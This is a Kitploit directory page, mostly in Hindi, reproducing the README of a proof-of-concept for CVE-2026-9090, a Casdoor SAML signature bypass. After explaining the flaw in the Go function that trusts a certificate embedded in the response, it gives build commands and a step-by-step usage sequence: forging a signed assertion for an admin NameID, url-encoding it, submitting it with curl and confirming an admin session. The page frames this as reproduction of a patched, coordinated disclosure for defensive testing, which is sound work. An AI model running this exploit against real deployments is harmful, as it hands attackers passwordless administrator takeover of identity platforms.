Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-9090-poc — CVE-2026-9090 के लिए PoC — Casdoor SAML हस्ताक्षर बाईपास (CWE-347)। केवल पुनरुत्पादन हेतु; CERT/CC VU#780781 के माध्यम से समन्वित। | Kitploit
उपकरण/GitHubGitHub/kimdir01/cve-2026-9090-poc
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगप्रमाणीकरण
GitHubkimdir01/cve-2026-9090-poc

CVE-2026-9090-poc

CVE-2026-9090 के लिए PoC — Casdoor SAML हस्ताक्षर बाईपास (CWE-347)। केवल पुनरुत्पादन हेतु; CERT/CC VU#780781 के माध्यम से समन्वित।

रिपॉजिटरी देखें
425 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-9090 — Casdoor SAML हस्ताक्षर बाईपास (PoC)

CVE-2026-9090 (CWE-347, क्रिप्टोग्राफ़िक हस्ताक्षर का अनुचित सत्यापन) के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो Casdoor पहचान प्लेटफ़ॉर्म में एक प्रमाणीकरण बाईपास है।

श्रेय। CVE-2026-9090 CERT/CC द्वारा प्रकाशित और समन्वित किया गया था — देखें VU#780781. यह रिपॉज़िटरी पहले से सार्वजनिक कमज़ोरी के लिए एक स्वतंत्र, केवल-पुनरुत्पादन प्रूफ-ऑफ-कॉन्सेप्ट है; यह समस्या की खोज का दावा नहीं करता है।

कमज़ोरी

जब Casdoor POST /api/acs पर एक SAML प्रतिक्रिया (किसी बाहरी SAML प्रदाता के माध्यम से लॉगिन) उपभोग करता है, तो buildSpCertificateStore फ़ंक्शन हस्ताक्षर ट्रस्ट एंकर को पहचान प्रदाता के लिए पंजीकृत प्रमाणपत्र के बजाय आने वाली SAML प्रतिक्रिया में ही एम्बेडेड <X509Certificate> से बनाता है।

root@kitploit:~
// object/saml_sp.go  (vulnerable, <= v2.362.0)
func buildSpCertificateStore(provider *Provider, samlResponse string) (certStore ..., err error) {
    certEncodedData := ""
    if samlResponse != "" {
        certEncodedData, err = getCertificateFromSamlResponse(samlResponse, provider.Type) // <-- cert from the response
    } else if provider.IdP != "" {
        certEncodedData = provider.IdP
    }
    ...
    certStore = dsig.MemoryX509CertificateStore{ Roots: []*x509.Certificate{idpCert} }
}

चूँकि ट्रस्ट एंकर प्रतिक्रिया से लिया जाता है, एक हमलावर SAML अभिकथन पर अपने स्वयं के स्व-हस्ताक्षरित प्रमाणपत्र से हस्ताक्षर कर सकता है, उस प्रमाणपत्र को प्रतिक्रिया में शामिल कर सकता है, और हस्ताक्षर अपने ही विरुद्ध मान्य हो जाता है। NameID को किसी मौजूदा उपयोगकर्ता पर सेट करने से उसी खाते तक पहुँच मिल जाती है — यदि वह एक व्यवस्थापक है, तो हमलावर को व्यवस्थापक सत्र प्राप्त हो जाता है। इसमें कोई पासवर्ड शामिल नहीं होता।

  • प्रभावित: Casdoor <= 2.362.0
  • सुधार: बाद के रिलीज़ में स्टोर केवल पंजीकृत provider.IdP से बनाया जाता है (buildSpCertificateStore(provider *Provider) अब प्रतिक्रिया नहीं पढ़ता)। किसी वर्तमान रिलीज़ में अपग्रेड करें।
  • वर्ग: CWE-347 — स्व-संदर्भित ट्रस्ट एंकर।

यह PoC क्या करता है

forge_saml.go एक पूर्ण SAML प्रतिक्रिया बनाता है जिसका Assertion एक अस्थायी स्व-हस्ताक्षरित कुंजी द्वारा हस्ताक्षरित होता है, जिसमें उस कुंजी का प्रमाणपत्र <ds:KeyInfo><ds:X509Certificate> में एम्बेडेड होता है। यह उसी goxmldsig लाइब्रेरी का उपयोग करता है जिसका उपयोग Casdoor करता है, इसलिए कैननिकलाइज़ेशन और हस्ताक्षर प्रारूप को यथावत स्वीकार किया जाता है।

बिल्ड

root@kitploit:~
go mod init cve-2026-9090-poc      # or: go build directly in this repo
go get github.com/beevik/etree github.com/russellhaering/goxmldsig
go build -o forge_saml forge_saml.go

उपयोग

root@kitploit:~
# 1) forge a response for an existing (admin) NameID, aimed at the target's ACS URL
./forge_saml \
  --nameid [email protected] \
  --acs      http://TARGET:8000/api/acs \
  --audience http://TARGET:8000/api/acs \
  > forged.b64

# 2) submit it. NOTE: Casdoor url-unescapes SAMLResponse before base64-decoding, so the value MUST be
#    url-encoded (a raw '+' would be turned into a space -> "illegal base64 data").
ENC=$(python3 -c 'import urllib.parse;print(urllib.parse.quote(open("forged.b64").read().strip()))')
curl -s -c cookie.txt \
  "http://TARGET:8000/api/login?application=APP&organization=ORG&provider=SAML_PROVIDER&method=signup" \
  -H 'Content-Type: application/json' \
  -d "{\"application\":\"APP\",\"organization\":\"ORG\",\"provider\":\"SAML_PROVIDER\",\"method\":\"signup\",\"type\":\"login\",\"samlResponse\":\"$ENC\"}"
# -> {"status":"ok","data":"ORG/admin"}

# 3) confirm the session
curl -s -b cookie.txt http://TARGET:8000/api/get-account | jq '.data | {name,isAdmin,owner}'

APP, ORG और SAML_PROVIDER क्रमशः एप्लिकेशन का नाम, संगठन और उस एप्लिकेशन से बंधा SAML प्रदाता हैं। एक Casdoor एप्लिकेशन का पंजीकरण (उसके बंधे प्रदाताओं सहित) /api/get-application?id=admin/<name> पर पढ़ने योग्य है।

जिम्मेदार उपयोग

यह PoC एक सुधारित, सार्वजनिक रूप से खुलासा किया गया कमज़ोरी के लिए प्रकाशित किया गया है, जो रक्षात्मक परीक्षण, डिटेक्शन इंजीनियरिंग और शोध के लिए है। इसे केवल उन्हीं सिस्टम पर चलाएँ जिनका परीक्षण करने के लिए आप अधिकृत हैं। सही उपाय यह है कि Casdoor को ऐसे रिलीज़ में अपग्रेड किया जाए जहाँ buildSpCertificateStore पंजीकृत प्रदाता प्रमाणपत्र के विरुद्ध सत्यापन करता है।

संदर्भ

  • CERT/CC VU#780781 — https://kb.cert.org/vuls/id/780781
  • Casdoor — https://github.com/casdoor/casdoor
  • CWE-347 — https://cwe.mitre.org/data/definitions/347.html

लाइसेंस

MIT — LICENSE देखें।

टूल डाउनलोड करें